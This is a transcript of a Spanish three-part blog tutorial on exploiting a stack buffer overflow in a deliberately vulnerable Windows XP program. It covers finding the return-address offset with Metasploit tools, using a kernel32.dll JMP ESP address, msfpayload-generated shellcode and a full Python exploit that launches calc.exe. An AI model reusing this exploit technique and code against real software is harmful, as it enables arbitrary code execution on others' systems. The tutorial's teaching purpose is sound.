documento stack buffer overflow

14
UNLEARNING SECURITY Explotación de vulnerabilidades - Stack Buffer Overflow http://unlearningsecurity.blogspot.com Daniel Romero Pérez [email protected] Abril del 2012 * Recopilación de entregas realizadas en http://unlearningsecurity.blogspot.com

Upload: aneudy-hernandez-pena

Post on 30-Sep-2015

275 views

Category:

Documents


3 download

DESCRIPTION

Un documento que trata sobre explotacion de software

TRANSCRIPT

  • UNLEARNING SECURITY

    Explotacin de vulnerabilidades - Stack

    Buffer Overflow http://unlearningsecurity.blogspot.com

    Daniel Romero Prez

    [email protected]

    Abril del 2012

    * Recopilacin de entregas realizadas en http://unlearningsecurity.blogspot.com

  • 1

    NDICE

    EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE I) ............................................... 2

    EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE II) .............................................. 5

    EXPLOTACIN DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE III) ............................................. 9

  • 2

    EXPLOTACIO N DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE I)

    Si nos ponemos a analizar la gran cantidad de vulnerabilidades que salen diariamente en

    portales como securityfocus.org, secunia.com, packetstormsecurity.org, etctera. estoy seguro

    que la vulnerabilidad Stack Buffer Overflow es protagonista en ms de una ocasin.

    Muchos de vosotros habris odo hablar de dicho fallo, pero para aquellos que no lo tengis

    tan claro os pongo una pequea descripcin de la Wikipedia

    (http://en.wikipedia.org/wiki/Stack_buffer_overflow):

    In software, a stack buffer overflow occurs when a program writes to a memory address on

    the program's call stack outside of the intended data structure; usually a fixed length buffer.

    Es decir, la vulnerabilidad Stack Buffer Overflow ocurre cuando una aplicacin no controla

    correctamente el nmero de bytes que son almacenados en una direccin de memoria

    previamente reservada, de forma que la cantidad de bytes que se van a almacenar son

    superiores a los reservados.

    Si recordis en la primera entrada de la serie introduccin a la ingeniera inversa, veamos

    como se almacenaban los datos en el fragmento de la stack que se reservaba para una funcin.

    Aun as vamos a recordarlo.

    Pongo primero el cdigo en lenguaje C para que os resulte ms sencilla la interpretacin en

    ensamblador.

    Si os fijis, se estn estableciendo dos variables: la varaible pass que se iguala a ocho letras

    a en minsculas y la variable name que es solicitada por teclado. Tal y como est generado

    el cdigo, es imposible acceder a la funcin printf This is imposible!!, ya que la variable

    pass nunca es modificada. Pero, realmente esto es cierto?, y como una imagen vale ms

    que mil palabras, vamos a ver el estado de la pila justo antes de realizar la comparacin de

    cadenas.

  • 3

    He intentado aclarar lo mximo posible la imagen para que no resulte muy complicada, aun as

    har una pequea descripcin.

    - 0x004013C6: Reserva/Aade el espacio necesario en la PILA para realizar operaciones

    y almacenar las variables locales.

    - 0x004013CE a 0x004013DD: Almacena la variable local pass en la PILA.

    - 0x004013ED a 0x004013FC: Almacena la cadena introducida por teclado mediante la

    funcin scanf en el espacio de la PILA reservado para la variable name.

    Una vez entendido como se almacenan las variables locales en la pila, supongo que ya sabris

    a donde quiero llegar.

    Aqu es donde nos encontramos la vulnerabilidad Stack Buffer Overflow, Qu pasara si al

    pedirnos que introduzcamos nuestro nombre, le asignamos una cadena que supere los 8 bytes

    reservados para la variable name?

    Vamos ha realizar la prueba con la cadena YYYYYYYYYYYYYYYY, diecisis Y.

    Como se puede observar en la captura anterior, hemos podido sobrescribir la variable pass

    aadiendo una cadena ms grande que la esperada. En este caso existan la variable name

    de 8 bytes y la variable pass de 8 bytes, al introducir una cadena de 16 bytes por teclado

    podremos sobrescribir el contenido de la variable pass.

    Con lo visto, solo necesitaramos una cadena de diecisis bytes donde los ltimos 8 bytes

    fueran la cadena pa$$word para poder sobrescribir la variable name y as acceder al printf

    This is imposible!! que en un principio no era posible acceder.

  • 4

    As de sencillo ;) Para esta entrada he decidido realizar el ejemplo ms bsico que se me ha

    ocurrido y as llegar a entender de un modo simple los conceptos bsicos de la vulnerabilidad

    Stack Buffer Overflow.

    No solo es posible realizar este tipo de acciones una vez te has aprovechado de esta

    vulnerabilidad, algunas de las acciones que se me ocurren son:

    - Ejecucin de comando

    - Alterar el comportamiento de la aplicacin

    - Denegaciones de Servicio

    - Elevacin de privilegios

    Un ejemplo rpido de como provocar una denegacin de servicio sobre la aplicacin, se podra

    realizar introduciendo una cadena de caracteres lo suficientemente larga.

    La explicacin a la Denegacin de Servicio es muy sencilla, al igual que la aplicacin sobrescribe

    el espacio de memoria reservado para las variables locales, al seguir introduciendo caracteres

    en la PILA se seguir llenando hasta sobrescribir las direcciones necesarias para el correcto

    funcionamiento de la aplicacin.

  • 5

    EXPLOTACIO N DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE II)

    Tal y como coment en la anterior entrada, donde vimos los principios bsicos de la

    vulnerabilidad Stack Buffer Overflow, hoy pasaremos a explicar como podemos sacarle ms

    partido a esta vulnerabilidad, llegando a la ejecucin de cdigo arbitrario en la aplicacin

    objetivo.

    Para llevar a cabo la explotacin de este tipo de vulnerabilidad es necesario que aclare cuatro

    conceptos que no se vieron en detalle en la serie de entradas introduccin a la ingeniera

    inversa.

    Registro EIP (Extended Instruction Pointer): Este registro apunta a la siguiente direccin de

    memoria que el procesador va a ejecutar.

    Si os fijis en la captura anterior despus de almacenar en la PILA la cadena Enter your

    name:, se indica en el registro EIP la direccin de memoria 0x004013E8, la cual es la siguiente

    del cdigo a ejecutar, en este caso la funcin printf.

    Instruccin RETN: Es la instruccin encargada de recoger el valor de ESP y almacenarlo en el

    registro EIP, de este modo el valor de ESP ser la prxima direccin de memoria que el

    procesador va a ejecutar.

    Direccin de retorno: Es el valor exacto que nos indica la direccin de memoria donde

    habamos dejado la aplicacin ante de entrar en una subfuncin, para as cuando esta termine

    volver a la posicin exacta donde nos quedamos. Este valor se encontrar almacenado en la

    siguiente direccin de memoria del EBP de la subfuncin. Podis entenderlo de una forma

    ms clara con la imagen de la explicacin de la PILA de primer post de la serie introduccin la

    ingeniera inversa.

    Shellcode: Si pensamos en una definicin genrica, podemos decir que se trata de la accin u

    orden que se desea realizar una vez hemos explotado una vulnerabilidad. Para algo ms

    completo, os dejo la definicin de la Wikipedia.

    Una vez hemos afianzados estos trminos, pasamos a explicar cmo aprovecharnos de la

    vulnerabilidad Stack Buffer Overflo. Supongo que ya os habris echo una idea de lo que

  • 6

    necesitamos conseguir, de forma rpida podemos decir que nuestro principal objetivo es

    llegar a sobrescribir la direccin de retorno (almacenada en la PILA) con un valor que apunte

    a nuestra shellcode. De este modo conseguiremos que al ejecutarse la instruccin RETN de la

    subfuncin, la aplicacin vulnerable ejecute el cdigo (shellcode) que nosotros queramos.

    Para no perder la costumbre, realizaremos un ejemplo sencillo con la funcin vulnerable strcpy

    y con el siguiente cdigo:

    Si os fijis el cdigo es muy simple. En la primera funcin realizamos una llamada a la segunda

    pasando como parmetro el primer argumento de la aplicacin, mientras en la segunda

    funcin, recogemos dicho argumento y lo copiamos a una variable local de 16 bytes.

    El proceso de explotacin lo voy a dividir en cuatro partes:

    1 - Deteccin de la vulnerabilidad

    Existen multitud de formas de detectar la existencia de la vulnerabilidad Stack Buffer

    Overflow en una aplicacin, aunque pocas de ellas se pueden considerar sencillas, nosotros

    no vamos a tener problemas al disponer del cdigo.

    Al tratarse de una vulnerabilidad Buffer Overflow, una forma sencilla de detectarla, es

    mediante la introduccin de una cadena lo suficientemente larga para que sobrescriba parte

    de la PILA de la aplicacin y as dejarla sin funcionalidad.

    Al debuggear la aplicacin aadiendo una ristra de X como argumento, se puede identificar

    la PILA sobrescrita con el valor 58, la letra X mayscula en hexadecimal. Si leemos el

    mensaje de error, nos indica que la direccin de memoria 0x58585858 no puede ser leda por

    la aplicacin, lo que nos indica que hemos llegado a sobrescribir un valor de la PILA que

    posteriormente iba a ser utilizado como direccin que ejecutara alguna instruccin, en

    nuestro caso la direccin de retorno.

  • 7

    2 - Localizacin de la direccin de retorno

    La localizacin de la direccin de retorno en la explotacin de este tipo de vulnerabilidad es

    clave, ya que es necesario sobrescribir la misma con la direccin que nosotros queramos, para

    que posteriormente el procesador tome dicha direccin como el prximo punto de salto.

    Pero cmo sabemos su posicin exacta?

    Debido a que hemos introducido siempre el mismo carcter, no es posible identificar que

    posicin exacta es la de la direccin de retorno. Un modo rpido es ir utilizando diferentes

    caracteres en el buffer para posteriormente cotejar con la direccin del mensaje de error, o

    utilizar la aplicacin pattern_create.rb del framework metasploit, encargada de generar

    buffers sin repeticiones.

    Introducimos los caracteres generados como argumento y observamos la nueva direccin que

    nos proporciona el error.

    A diferencia del anterior error, este nos est devolviendo la direccin 0x62413961. Si nosotros

    transformamos dicho valor a ASCII, obtendramos la siguiente cadena bA9a, el cual sera

    errneo ya que la forma de almacenar valores en la pila es Little-endian.

    Por lo que hara falta invertir el orden de la direccin y transformar el valor a ASCII:

  • 8

    Valor en STACK Valor Invertido Valor en ASCII

    0x62413961 0x61394162 a9Ab

    Si buscamos la cadena obtenida en la ristra de caracteres generada por la aplicacin

    pattern_create.rb, podremos localizar el primer carcter en la posicin 29, con lo cual, existen

    28 caracteres (bytes) antes de la direccin de retorno.

    Sustituiremos los valores 29, 30, 31 y 32 con el carcter X para comprobar rpidamente que

    concuerdan con los valores de la direccin de retorno.

    Cadena: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8AXXXX0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

    De este modo ya sabemos la posicin exacta donde se encuentra la direccin de retorno.

    Como ayuda, podamos haber utilizado la aplicacin pattern_offset.rb de framework

    metasploit, que realiza el trabajo de bsqueda por nosotros.

  • 9

    EXPLOTACIO N DE VULNERABILIDADES - STACK BUFFER OVERFLOW (PARTE III)

    En la anterior entrada de la serie de explotacin de Stack Buffer Overflow, se vio cmo

    detectar si nuestra aplicacin era vulnerable y cmo averiguar la posicin exacta de la

    direccin de retorno. Hoy se proceder con los siguientes pasos para poder realizar ejecucin

    de cdigo arbitrario en la aplicacin vulnerable.

    3 - Salto a la shellcode

    Como ya se coment en la entrada anterior, es necesario realizar un salto a nuestra ShellCode

    para que esta sea ejecutada y consigamos nuestro objetivo. Para realizar este proceso,

    deberemos averiguar la direccin exacta de nuestra ShellCode y sobrescribir la direccin de

    retorno con ese valor.

    Se me ocurren dos modos simples de almacenar nuestra ShellCode en memoria.

    1. Despus de la direccin de retorno: nicamente deberemos sobrescribir la direccin

    de retorno con la siguiente direccin de la PILA, la cual coincidir con el inicio de la

    ShellCode.

    2. Antes de la direccin de retorno: Debido a que anteriormente se est utilizando la

    PILA para almacenar informacin, este es un buen sitio para alojar nuestra ShellCode.

    Hay que tener en cuenta que dicho espacio es mucho ms limitado que la primera

    opcin.

    PROBLEMA:

    Si os habis fijado en las capturas donde sala informacin de las direcciones de la PILA, estas

    siempre empezaban con el valor 0x00. Esto es un problema, ya que si intentamos

    sobrescribir la direccin de retorno con una direccin similar a 0x002205F2, la aplicacin

    procesar el valor 00 como final de cadena y no conseguiremos sobrescribir la direccin de

    retorno correctamente, por lo que no conseguiremos explotar la vulnerabilidad.

    Posible SOLUCIN:

    Libreras de Windows como KERNEL32.dll o NTDLL.dll, son cargadas siempre en la misma

    direccin de memoria (problema que solventa ASLR) por una aplicacin, estas disponen de

    conjuntos de instrucciones que realizan saltos a ESP (JMP ESP o CALL ESP), de los cuales nos

  • 10

    podemos aprovechar para saltar a nuestra ShellCode. Un ejemplo visual del proceso de

    explotacin podra ser el siguiente.

    NOTA: El problema anteriormente explicado, no siempre se encuentra, en vulnerabilidades

    donde el exploit es enviado mediante protocolos de red o se encuentra en un fichero que

    posteriormente utilizar la aplicacin, no hara falta realizar este paso intermedio.

    4 - Creacin del exploit

    La fase de la creacin del exploit se basa en unificar todos los apartados anteriores

    desarrollando un cdigo que los interprete.

    La estructura que podemos utilizar para este tipo de exploits es la siguiente:

    Exploit = Buffer + RET + ShellCode

    NOTA: El cdigo fuente del exploit ser realizando en el lenguaje Python, sencillo y fcil de

    interpretar.

    Como ya se vio en la anterior entrega, el buffer necesario hasta llegar a la direccin de retorno

    eran 28 bytes, por lo que iniciaremos el exploit con una cadena con esa cantidad de bytes.

    Buffer = "\x41"*28

    El valor que utilizaremos para sobrescribir la direccin de retorno en este caso es 0x7C86467B,

    asociado a la instruccin JMP ESP de la librera Kernel32.dll en un Windows XP SP3 en

    espaol. Una forma rpida de conseguir este tipo de direcciones es mediante la bsqueda de

    la cadena JMP ESP, una vez la aplicacin vulnerable ha sido desensamblada o utilizando la

    herramienta FindJmp.

    RET = "\x7b\x46\x86\x7c" # 0x7c86467b en Little-endian

    Hasta aqu ya se habr conseguido que la aplicacin realice un salto a la librera Kernel32.dll,

    para posteriormente saltar a nuestra ShellCode mediante la instruccin JMP ESP,

    nicamente faltara introducir nuestra ShellCode en el exploit para que al vulnerar la aplicacin

    esta realice la funcin que nosotros queramos.

    Para la generacin de nuestra ShellCode utilizaremos la aplicacin msfpayload y msfencode

    del framework de mestasploit. En nuestro caso nos bastar con ejecutar una calculadora para

    comprobar la explotacin de la vulnerabilidad, aunque podramos realizar otro tipo de

    funciones cmo: ejecucin de cualquier aplicacin del sistema operativo, apertura de puertos

    asociados a una Shell del SO, conexiones inversas, etctera.

  • 11

    Comando: ruby msfpayload windows/exec cmd=calc.exe R | ruby msfencode -b

    '\x00\x09\x20\x22' -t c

    Resultado:

    "\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9" "\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01" "\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95" "\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef" "\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0" "\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0" "\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd" "\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88" "\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3" "\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6" "\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc" "\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e" "\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa" "\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c" "\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2" "\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50" "\x06\xc4\x38"

    Me gustara resaltar el parmetro -b del comando msfencode, utilizado para descartar los

    valores introducidos en el resultado de la ShellCode, muy til cuando se sabe que ciertos

    valores no son bien interpretados por la aplicacin.

    Debido que la aplicacin se explota a travs de la introduccin de una cadena por sus

    argumentos, en el propio exploit, llamaremos a la aplicacin para as pasarle nuestra cadena y

    conseguir la ejecucin de cdigo.

    El cdigo final del exploit quedara del siguiente modo:

    ''' Title: Buffer sencillo - Buffer Overflow Exploit Author: Daniel Romero Perez Mail: [email protected] Blog: unlearningsecurity.blogspot.com ''' import os #Buffer Buffer = "\x41"*28 #RET RET = "\x7b\x46\x86\x7c" #Nops Nops = "\x90"*10 # ShellCode (msfpayload windows/exec cmd=calc.exe R | msfencode -b '\x00\x09\x20\x22' -t c) ShellCode = ("\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9" "\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01" "\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95" "\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef" "\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0" "\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0" "\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd" "\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88" "\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3"

  • 12

    "\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6" "\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc" "\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e" "\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa" "\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c" "\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2" "\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50" "\x06\xc4\x38"); #Payload payload = Buffer + RET + Nops + ShellCode #Argumentos args = ('arg0', payload) #Ejecucion de la app con argumentos data = os.execv("C:\\Documents and Settings\\admin\\Escritorio\\app_vulnerable.exe" ,args) Si os fijis se ha introducido en el cdigo la cadena (Nops = "\x90"*10), siempre es bueno aadir algunos NOPs antes de la ShellCode para solventar problemas de alineacin al ejecutar la misma.

    Ejecutamos el exploit y.. FUNCIONA!!, hemos conseguido ejecutar cdigo arbitrario en una aplicacin vulnerable, dando como resultado una calculadora.

    Aado un esquema de lo sucedido interiormente en la aplicacin para aclarar la ejecucin del cdigo.

  • 13

    1. Sobrescribimos la PILA con el buffer generado en el exploit, remarcando la direccin de memoria de la librera Kernel32.dll.

    2. Al finalizar la subfuncin y ejecutar la instruccin RETN, saltaremos a la librera Kernel32.dll sobrescribiendo el registro EIP.

    3. Se ejecuta la instruccin JMP ESP y saltamos a nuestra ShellCode. 4. Ejecutamos el cdigo de nuestra ShellCode y aparece nuestra calculadora.

    Existen distintas formas de realizar el salto hacia nuestra ShellCode para conseguir la ejecucin de cdigo en nuestra aplicacin vulnerable, en futuras entradas detallar algunas de ellas.

    NOTA: Me gustara aclarar que para la realizacin del ejemplo anterior, no han intervenido ningn tipo de proteccin en el ejecutable tales como SafeSEH, DEP, ASLR, etctera.

    Con esto finaliza la serie de entradas Explotacin de vulnerabilidades - Stack Buffer Overflow, espero que os haya gustado ;)

    Un Saludo!!